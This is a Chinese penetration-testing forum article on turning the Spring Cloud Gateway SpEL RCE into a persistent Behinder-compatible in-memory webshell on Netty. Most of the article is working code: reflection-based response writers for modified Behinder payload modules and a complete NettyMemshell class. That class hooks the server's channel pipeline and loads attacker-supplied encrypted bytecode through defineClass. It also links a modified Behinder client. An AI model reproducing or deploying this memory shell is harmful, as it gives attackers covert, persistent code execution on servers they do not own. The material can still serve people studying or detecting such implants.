问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
SpringCloud GateWay SPEL RCE适配Netty冰蝎内存马
渗透测试
关于SpringCloud GateWay SPEL RCE适配Netty冰蝎内存马的过程
**0x00** **前言** =============== 关于SpringCloud GateWay SPEL RCE漏洞的原理,公开分析的内容已经很多了,这里只说漏洞在实战过程中出现的一些问题: 1.Netty环境下request中完整body的获取问题 2.Netty环境下response的获取 3.Netty环境下冰蝎服务端的适配 4.冰蝎客户端修改 改版后的冰蝎已经上传至GitHub:GitHub:<https://github.com/shuimuLiu/Behinder-Base65> **0x01** **环境说明** ================= <https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0> **0x02** **漏洞复现** ================= 添加路由  刷新路由:  访问添加后的路由  **0x03** **适配Demo** =================== **0.3.1 request获取思路及坑点** 复现的过程是学习的Y4er师傅,接下来冰蝎的适配则是学习的c0ny1师傅,c0ny1师傅给出的Demo如下:    将普通的命令马转为冰蝎马的关键是request和response以及session的获取(下图是冰蝎3.11的fillContext方法,用来保存Request、Response、Session对象)  DefaultHttpRequest是负责获取除body之外的内容的,Demo中已经给出了request接口,但是在debug的过程中发现request的headers和body和两次获取的   HttpContent是获取post数据包的body内容  但是当post数据包过大时,HttpContent获取的body内容是分好几次获取的,最后一次获取body内容的类是DefaultLastHttpContent,之前的类是DefaultHttpContent POST包的大小36888  通过控制台打印出每次获取body内容的长度及每次获取body类的名字,代码如下  控制台效果,body总数和Content-Length对应上了,表示获取了完整的body内容:  通过实际效果得出结论,POST数据包body过大时,HttpContent获取的body内容是分好几次获取的。 **0.3.2 response的获取** 再看response,netty中的response并不是继承自javax.servlet.ServletResponse   那么根据这些内容先编写能够回显POST body数据的代码,读body的代码如下  写入回显的代码如下:  效果如下:  因为netty的request和response都不是冰蝎中的对应类,而且没有初始化session(待考证),所以这个时候就要改动冰蝎的客户端和服务端,首先是客户端,客户端的改进主要是针对response做类的判断,这里依次修改冰蝎下Java的每个payload模块response做处理,在做处理之前则是需要对response写入的回显过程进行反射变形  按照c0ny1师傅的Demo对其修改如下: ```php Class<?> httpObjectClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.handler.codec.http.HttpVersion"); Class<?> responseStatuClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.handler.codec.http.HttpResponseStatus"); Class<?> byteBufferClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.buffer.ByteBuf"); Class<?> responseClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.handler.codec.http.DefaultFullHttpResponse"); Class<?> unpooledClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.buffer.Unpooled"); Class<?> listnerClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.channel.ChannelFutureListener"); Class<?> contextClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.channel.ChannelOutboundInvoker"); Class<?> GenericClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.util.concurrent.GenericFutureListener"); Field httpField = httpObjectClass.getDeclaredField("HTTP_1_1"); httpField.setAccessible(true); Object httpObject = httpField.get(null); Field httpStatuField = responseStatuClass.getField("OK"); httpStatuField.setAccessible(true); Object httpStatuObject = httpStatuField.get(null); Field lisCloseField = listnerClass.getDeclaredField("CLOSE"); lisCloseField.setAccessible(true); Object lisCloseObject = lisCloseField.get(null); Method copiedBufferMethod = unpooledClass.getDeclaredMethod("copiedBuffer", new Class[]{java.lang.CharSequence.class, Charset.class}); copiedBufferMethod.setAccessible(true); Object bufObject = copiedBufferMethod.invoke(null, new Object[]{new String(this.Encrypt(this.buildJson(result, true))), Charset.forName("UTF-8")}); Constructor responseConstructor = responseClass.getDeclaredConstructor(new Class[]{httpObjectClass, responseStatuClass, byteBufferClass}); responseConstructor.setAccessible(true); Object responseObject = responseConstructor.newInstance(new Object[]{httpObject, httpStatuObject, bufObject}); Method getHeadersMethod = responseObject.getClass().getSuperclass().getSuperclass().getDeclaredMethod("headers", new Class[]{}); getHeadersMethod.setAccessible(true); Object headersObject = getHeadersMethod.invoke(responseObject); Method setHeaderMethod = headersObject.getClass().getSuperclass().getDeclaredMethod("set", new Class[]{String.class, Object.class}); setHeaderMethod.setAccessible(true); setHeaderMethod.invoke(headersObject, new Object[]{"content-type", "text/plain; charset=UTF-8"}); Method addResponseMethod = contextClass.getDeclaredMethod("writeAndFlush", new Class[]{Object.class}); addResponseMethod.setAccessible(true); Object addListnerObject = addResponseMethod.invoke(Request, responseObject); Method addListnerMethod = addListnerObject.getClass().getDeclaredMethod("addListener", new Class[]{GenericClass}); addListnerMethod.setAccessible(true); addListnerMethod.invoke(addListnerObject, lisCloseObject); ``` **0.3.3 response冰蝎适配** 冰蝎日常使用的payload一般用不到request,而netty有没有初始化的session对象,所以这里只修改response了,一般常用的功能命令执行、文件上传、文件查看,这里能修改的都做了修改,冰蝎的Response通过getOutputStream方法写入回显内容  DefaultFullHttpResponse及其父类没有实现getOutputStream方法,所以在冰蝎写入回显的地方做类名判断,以Java的payload中BasicInfo模块为例,原先Response的代码如上图,做类名判断的完整代码如下: ```php if (Response.getClass().getName().indexOf("netty") != -1) { Class<?> httpObjectClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.handler.codec.http.HttpVersion"); Class<?> responseStatuClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.handler.codec.http.HttpResponseStatus"); Class<?> byteBufferClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.buffer.ByteBuf"); Class<?> responseClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.handler.codec.http.DefaultFullHttpResponse"); Class<?> unpooledClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.buffer.Unpooled"); Class<?> listnerClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.channel.ChannelFutureListener"); Class<?> contextClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.channel.ChannelOutboundInvoker"); Class<?> GenericClass = Thread.currentThread().getContextClassLoader().loadClass("io.netty.util.concurrent.GenericFutureListener"); Field httpField = httpObjectClass.getDeclaredField("HTTP_1_1"); httpField.setAccessible(true); Object httpObject = httpField.get(null); Field httpStatuField = responseStatuClass.getField("OK"); httpStatuField.setAccessible(true); Object httpStatuObject = httpStatuField.get(null); Field lisCloseField = listnerClass.getDeclaredField("CLOSE"); lisCloseField.setAccessible(true); Object lisCloseObject = lisCloseField.get(null); Method copiedBufferMethod = unpooledClass.getDeclaredMethod("copiedBuffer", new Class[]{java.lang.CharSequence.class, Charset.class}); copiedBufferMethod.setAccessible(true); Object bufObject = copiedBufferMethod.invoke(null, new Object[]{new String(this.Encrypt(this.buildJson(result, true))), Charset.forName("UTF-8")}); Constructor responseConstructor = responseClass.getDeclaredConstructor(new Class[]{httpObjectClass, responseStatuClass, byteBufferClass}); responseConstructor.setAccessible(true); Object responseObject = responseConstructor.newInstance(new Object[]{httpObject, httpStatuObject, bufObject}); Method getHeadersMethod = responseObject.getClass().getSuperclass().getSuperclass().getDeclaredMethod("headers", new Class[]{}); getHeadersMethod.setAccessible(true); Object headersObject = getHeadersMethod.invoke(responseObject); Method setHeaderMethod = headersObject.getClass().getSuperclass().getDeclaredMethod("set", new Class[]{String.class, Object.class}); setHeaderMethod.setAccessible(true); setHeaderMethod.invoke(headersObject, new Object[]{"content-type", "text/plain; charset=UTF-8"}); Method addResponseMethod = contextClass.getDeclaredMethod("writeAndFlush", new Class[]{Object.class}); addResponseMethod.setAccessible(true); Object addListnerObject = addResponseMethod.invoke(Request, responseObject); Method addListnerMethod = addListnerObject.getClass().getDeclaredMethod("addListener", new Class[]{GenericClass}); addListnerMethod.setAccessible(true); addListnerMethod.invoke(addListnerObject, lisCloseObject); } else { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } ``` 冰蝎的其他模块做同样处理即可。 **0.3.4** **冰蝎加密方式及类加载方式修改** 这里给出一种自定义的冰蝎的加密方式如下:  加上一种类加载的加密方式的Demo如下: ```php private void send(ChannelHandlerContext ctx,String message) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException, IOException { String requestMessage = message; Object response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer("123", CharsetUtil.UTF_8)); Object session = null; Map<String,Object> objects = new HashMap<String,Object>(); objects.put("session",session); objects.put("response",response); objects.put("request",ctx); Method method = ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class); method.setAccessible(true); String deStr=""; System.out.println(requestMessage.length()); for(int i=0;i<requestMessage.length();i=i+2){ String str2 = requestMessage.substring(i,i+2); char char2 = (char)(Integer.parseInt(str2,16)-1); deStr = deStr + char2; } byte[] contentBytes = base64De(deStr); ((Class)method.invoke(new URLClassLoader(new URL[]{},this.getClass().getClassLoader()),contentBytes,0,contentBytes.length)).newInstance().equals(objects); } ``` 整体的NettyMemShell的Demo如下: ```php import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.*; import io.netty.util.CharsetUtil; import reactor.netty.ChannelPipelineConfigurer; import reactor.netty.ConnectionObserver; import java.io.IOException; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.SocketAddress; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; import io.netty.channel.Channel; import io.netty.channel.ChannelDuplexHandler; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelPipeline; public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer { String result = ""; public static String doInject() { String msg = "inject-start"; try { Method getThreads = Thread.class.getDeclaredMethod("getThreads"); getThreads.setAccessible(true); Object threads = getThreads.invoke((Object)null); for(int i = 0; i < Array.getLength(threads); ++i) { Object thread = Array.get(threads, i); if (thread != null && thread.getClass().getName().contains("NettyWebServer")) { Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer"); _val$disposableServer.setAccessible(true); Object val$disposableServer = _val$disposableServer.get(thread); Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config"); _config.setAccessible(true); Object config = _config.get(val$disposableServer); Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit"); _doOnChannelInit.setAccessible(true); _doOnChannelInit.set(config, new NettyMemshell()); msg = "inject-success"; } } } catch (Exception var10) { msg = "inject-error"; } return msg; } public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) { ChannelPipeline pipeline = channel.pipeline(); pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", new NettyMemshell()); } public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { String msgClassName = msg.getClass().getName(); if(msgClassName.indexOf("DefaultHttpContent")!=-1){ DefaultHttpContent defaultHttpContent = (DefaultHttpContent)msg; int bodyLength = defaultHttpContent.content().readableBytes(); byte[] bytes = new byte[bodyLength]; defaultHttpContent.content().readBytes(bytes); String requestMessage = new String(bytes); this.result = this.result + requestMessage; }else if (msgClassName.indexOf("DefaultLastHttpContent")!=-1){ DefaultLastHttpContent defaultLastHttpContent = (DefaultLastHttpContent)msg; int bodyLength = defaultLastHttpContent.content().readableBytes(); byte[] bytes = new byte[bodyLength]; defaultLastHttpContent.content().readBytes(bytes); String requestMessage = new String(bytes); this.result = this.result + requestMessage; this.send(ctx,this.result); return; } ctx.fireChannelRead(msg); } private void send(ChannelHandlerContext ctx,String message) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException, IOException { String requestMessage = message; Object response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer("123", CharsetUtil.UTF_8)); Object session = null; Map<String,Object> objects = new HashMap<String,Object>(); objects.put("session",session); objects.put("response",response); objects.put("request",ctx); Method method = ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class); method.setAccessible(true); String deStr=""; System.out.println(requestMessage.length()); for(int i=0;i<requestMessage.length();i=i+2){ String str2 = requestMessage.substring(i,i+2); char char2 = (char)(Integer.parseInt(str2,16)-1); deStr = deStr + char2; } byte[] contentBytes = base64De(deStr); ((Class)method.invoke(new URLClassLoader(new URL[]{},this.getClass().getClassLoader()),contentBytes,0,contentBytes.length)).newInstance().equals(objects); } public byte[] base64De(String enString) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException { byte[] bytes; try { Class clazz = Class.forName("java.util.Base64"); Method method = clazz.getDeclaredMethod("getDecoder"); Object obj = method.invoke(null); method = obj.getClass().getDeclaredMethod("decode", String.class); obj = method.invoke(obj, enString); bytes = (byte[]) obj; } catch (ClassNotFoundException e) { Class clazz = Class.forName("sun.misc.BASE64Decoder"); Method method = clazz.getMethod("decodeBuffer", String.class); Object obj = method.invoke(clazz.newInstance(), enString); bytes = (byte[]) obj; } return bytes; } } ``` 整体实现之后通过SPEL重新加入路由,冰蝎连接:  **0x04** **主要点总结** ================== 1.channelRead方法中的HttpRequest和DefaultLastHttpContent是分两次获取的; 2.HttpContent获取的body内容是分好几次获取的,最后一次获取body内容的类是DefaultLastHttpContent,之前的类是DefaultHttpContent; 2.冰蝎中原生写response的办法不适用于netty,需要做类判断; 3.netty中好像没有原生的Session对象(待考证),自写一种加密方式。 **0x05** **参考文章** ================= <https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/> <https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/>
发表于 2022-05-20 09:33:53
阅读 ( 7425 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
水木逸轩
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!